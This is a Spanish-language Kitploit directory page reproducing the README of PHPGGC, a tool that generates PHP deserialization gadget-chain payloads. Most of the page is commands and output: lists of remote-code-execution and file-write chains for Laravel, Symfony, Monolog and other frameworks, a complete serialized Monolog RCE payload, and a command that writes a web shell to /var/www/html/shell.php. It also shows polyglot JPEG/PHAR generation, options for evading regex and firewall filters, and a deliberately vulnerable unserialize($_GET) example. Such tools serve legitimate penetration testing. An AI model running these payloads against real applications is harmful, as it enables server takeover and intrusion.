Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
phpggc — PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. | Kitploit
Herramientas/GitHubGitHub/ambionics/phpggc
Exploit FrameworksPayload GenerationExploitationWeb Application Exploitation
GitHubambionics/phpggc

phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.

Ver Repositorio
3.9k559hace 10 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

PHPGGC: Cadenas de Gadgets Genéricas de PHP

PHPGGC es una librería de payloads de unserialize() junto con una herramienta para generarlos, desde la línea de comandos o programáticamente. Cuando te encuentras con un unserialize en un sitio web del que no tienes el código, o simplemente cuando intentas construir un exploit, esta herramienta te permite generar el payload sin tener que pasar por los tediosos pasos de encontrar gadgets y combinarlos. Puede considerarse el equivalente de frohoff's ysoserial, pero para PHP. Actualmente, la herramienta soporta cadenas de gadget como: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii y ZendFramework.

Requirements

Se requiere PHP >= 5.6 para ejecutar PHPGGC.

Usage

Ejecuta ./phpggc -l para obtener una lista de cadenas de gadget:

root@kitploit:~
$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                   RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Filtrar cadenas de gadget:

root@kitploit:~
$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Cada cadena de gadget tiene:

  • Nombre: Nombre del framework/librería
  • Versión: Versión del framework/librería para la que son los gadgets
  • Tipo: Tipo de explotación: RCE, File Write, File Read, Include...
  • Vector: el vector para disparar la cadena después del unserialize (__destruct(), __toString(), offsetGet(), ...)
  • Información: Otra información sobre la cadena

Usa -i para obtener información detallada sobre una cadena:

root@kitploit:~
$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Para los gadgets RCE, el comando ejecutado puede tener 3 tipos de formato dependiendo de cómo funcione el gadget:

  • RCE (Comando): ./phpggc Symfony/RCE1 id
  • RCE (Código PHP): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Llamada a función): ./phpggc Symfony/RCE4 system id

Una vez que hayas seleccionado una cadena, ejecuta ./phpggc <gadget-chain> [parámetros] para obtener el payload. Por ejemplo, para obtener un payload para Monolog, harías:

root@kitploit:~
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Para una escritura de archivo usando SwiftMailer, harías:

root@kitploit:~
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

La opción --wrapper (-w) te permite definir un archivo PHP que contenga las siguientes funciones:

  • process_parameters(array $parameters): Se llama justo antes de generate(), permite cambiar los parámetros
  • process_object(object $object): Se llama justo antes de serialize(), permite cambiar el objeto
  • process_serialized(string $serialized): Se llama justo después de serialize(), permite cambiar la cadena serializada

Por ejemplo, si el código vulnerable se ve así:

root@kitploit:~
<?php
$data = unserialize($_GET['data']);
print $data['message'];

Podrías usar una cadena __toString(), envolviéndola de la siguiente manera:

root@kitploit:~
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

Y llamarías a phpggc de la siguiente manera:

root@kitploit:~
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

History

En BlackHat US 2018, @s_n_t lanzó PHARGGC, un fork de PHPGGC que en lugar de construir un payload serializado, construye un archivo PHAR completo. Este archivo PHAR contiene datos serializados y, como tal, puede usarse para varias técnicas de explotación (file_exists, fopen, etc.). El paper está aquí.

Implementation

Los archivos PHAR vienen en tres formatos diferentes: PHAR, TAR y ZIP. Los tres son soportados por PHPGGC. Los archivos políglota se pueden generar usando --phar-jpeg (-pj). Hay otras opciones disponibles (usa -h).

Examples

root@kitploit:~
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id

Encoders

Los argumentos permiten modificar la forma en que se genera el payload. Por ejemplo, -u lo codificará como URL, y -b lo convertirá a base64. Los payloads a menudo contienen bytes NULL y no se pueden copiar/pegar tal cual. Usa -s para una codificación URL suave, que mantiene el payload legible.

Los codificadores pueden encadenarse y, por lo tanto, el orden es importante. Por ejemplo, ./phpggc -b -u -u slim/rce1 system id codificará el payload en base64 y luego lo codificará como URL dos veces.

Advanced: Enhancements

Fast destruct

PHPGGC implementa un flag --fast-destruct (-f), que se asegura de que tu objeto serializado sea destruido justo después de la llamada a unserialize(), y no al final del script. Recomiendo usarlo para cada vector __destruct, ya que mejora la fiabilidad. Por ejemplo, si el script PHP lanza una excepción después de la llamada, el método __destruct de tu objeto podría no ser llamado. Como se procesa al mismo tiempo que los codificadores, debe establecerse primero.

root@kitploit:~
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...

ASCII Strings

Usa el formato de serialización S en lugar del estándar s. Esto reemplaza cada carácter no ASCII a una representación hexadecimal: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D"; Esto puede ser útil cuando por alguna razón no se permiten caracteres no ASCII (por ejemplo, bytes NULL). Dado que los payloads generalmente los contienen, esto asegura que el payload consista solo en valores ASCII. Nota: esto es experimental y podría no funcionar en algunos casos.

Armor Strings

Usa el formato de serialización S en lugar del estándar s. Esto reemplaza cada carácter por una representación hexadecimal: s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D"; Esto es útil cuando un firewall o el código PHP bloquea cadenas. Nota: esto es experimental y podría no funcionar en algunos casos. Nota: esto hace que cada cadena en el payload crezca por un factor de 3.

Plus Numbers

A veces, los scripts PHP verifican que el payload serializado dado no contenga objetos usando una regex como /O:[0-9]+:. Esto se evade fácilmente usando O:+123:... en lugar de O:123:. Se puede usar --plus-numbers <types>, o -n <types>, para añadir automáticamente estos signos + delante de los símbolos. Por ejemplo, para ofuscar objetos y cadenas, se puede usar: --n Os. Ten en cuenta que desde PHP 7.2, solo los tipos i y d (float) pueden tener un +.

Public Properties

Intenta convertir las referencias a propiedades protegidas o privadas dentro del payload serializado a públicas. Esto puede ser útil porque cuando PHP serializa una propiedad no pública de un objeto, antepone al nombre de la propiedad un asterisco (para protegidas) o el nombre de la clase (para privadas) rodeado de bytes NULL, que son fáciles de perder si el payload se transmite o almacena como texto plano sin codificación. Si eso ocurre, el payload fallará al deserializar porque la longitud de la cadena del nombre de la propiedad (y el nombre en sí) será incorrecta. Como beneficio adicional, los payloads son ligeramente más pequeños sin los prefijos. Convertir propiedades a públicas tiende a funcionar en versiones más recientes de PHP, pero puede causar problemas en versiones antiguas (anteriores a PHP 7.2). Esta funcionalidad puede no funcionar correctamente si una cadena incluye uno o más objetos que tengan una implementación personalizada de serialize / unserialize.

Testing your chain

Para probar si la cadena de gadget que quieres usar funciona en el entorno objetivo, ve a la carpeta de tu entorno y ejecuta la cadena sin argumentos, con la opción --test-payload.

Por ejemplo, para probar si Monolog/RCE2 funciona en Symfony 4.x:

root@kitploit:~
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !

El código de salida será 0 si el payload se disparó, 1 en caso contrario.

Testing your chain against every version of a package

Si deseas saber contra qué versiones de un paquete funciona una cadena de gadget, puedes usar test-gc-compatibility.py.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev         │   OK    │      OK      │      KO      │
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 2.2.0           │   OK    │      OK      │      KO      │
│ 2.1.1           │   OK    │      OK      │      KO      │
│ 2.1.0           │   OK    │      OK      │      KO      │
│ 2.0.2           │   OK    │      OK      │      KO      │
│ 2.0.1           │   OK    │      OK      │      KO      │
│ 2.0.0           │   OK    │      OK      │      KO      │
│ 2.0.0-beta2     │   OK    │      OK      │      KO      │
│ 2.0.0-beta1     │   OK    │      OK      │      KO      │
│ 1.x-dev         │   OK    │      OK      │      KO      │
│ 1.26.1          │   OK    │      OK      │      KO      │
│ 1.26.0          │   OK    │      OK      │      KO      │
│ 1.25.5          │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
                        ...
│ 1.0.1           │   OK    │      KO      │      KO      │
│ 1.0.0           │   OK    │      KO      │      KO      │
│ 1.0.0-RC1       │   OK    │      KO      │      KO      │
│ dev-main        │   OK    │      OK      │      KO      │
│ * dev-phpstan   │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

Puedes especificar las versiones que quieres probar usando la siguiente sintaxis.

root@kitploit:~
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0           │   OK    │      OK      │      KO      │
│ 1.25.4          │   OK    │      OK      │      KO      │
└─────────────────┴─────────┴──────────────┴──────────────┘

API

En lugar de usar PHPGGC como herramienta de línea de comandos, puedes programar scripts PHP:

root@kitploit:~
<?php

# Include PHPGGC
include("phpggc/lib/PHPGGC.php");

# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();

# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
	'function' => 'system',
	'parameter' => 'id',
]);

# Generate the payload
$object = $gc->generate($parameters);

# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two 
$object = $gc->process_object($object);

# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);

# Display it
print($serialized . "\n");

# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());

Esto te permite ajustar los parámetros o escribir exploits más fácilmente. Nota: Esto es bastante experimental por ahora, así que por favor, reporta los bugs.

Contributing

Los pull requests son más que bienvenidos. Por favor, sigue estas sencillas pautas:

  • __destruct() es siempre el mejor vector
  • Especifica al menos la versión de la librería sobre la que has construido el payload
  • No incluyas parámetros no utilizados en la definición del gadget si mantienen sus valores por defecto. Solo hace que el payload sea más grande.
  • Respeta el estilo de código: por ejemplo, los corchetes de apertura { van en una nueva línea, y los arrays deben escribirse como [1, 2, 3] en lugar de la notación antigua array(1, 2, 3).

En cuanto al código, la estructura de directorios es bastante sencilla: los gadgets en gadgets.php, la descripción + lógica en chain.php. Puedes definir métodos de pre- y post-procesamiento, si los parámetros necesitan ser modificados. Con suerte, los gadgets ya implementados deberían ser suficientes para que construyas los tuyos. De lo contrario, estaré encantado de responder tus preguntas.

Por favor, prueba tantas versiones como puedas. La nomenclatura para las versiones es la siguiente: [-]<lower-version> <= <higher-version>[+]. Los signos - y + indican que tu payload puede funcionar en versiones inferiores y superiores, respectivamente. Por ejemplo, si tu cadena de gadget funciona desde la versión 2.0.0 hasta la versión 4.4.1, que es la última versión en ese momento, usa 2.0.0 <= 4.4.1+.

La opción de línea de comandos --new <framework> <type> se puede usar para crear la estructura de directorios y archivos para una nueva cadena de gadget. Por ejemplo, usar ./phpggc -n Drupal RCE crearía una nueva gadgetchain Drupal RCE.

Docker

Si no quieres instalar PHP, puedes construir una imagen docker usando:

root@kitploit:~
$ docker build . -t 'phpggc'

Luego puedes usar el phpggc dockerizado.

Para generar una cadena de gadget

root@kitploit:~
$ docker run phpggc Monolog/rce1 'system' 'id'

Para probar una cadena

Ve a la carpeta de tu entorno y ejecuta la cadena sin argumentos, con la opción --test-payload:

root@kitploit:~
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload

Para generar archivos phar / políglota

Nota: El comando debe ejecutarse en el directorio donde se encuentra la imagen de entrada.

root@kitploit:~
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id

Para ejecutar test-gc-compatibility.py

root@kitploit:~
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.

┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2                      │   OK    │      OK       │      OK       │
│ 2.7.2                    │   OK    │      OK       │      KO       │
└──────────────────────────┴─────────┴───────────────┴───────────────┘

License

Apache License 2.0

Descargar herramienta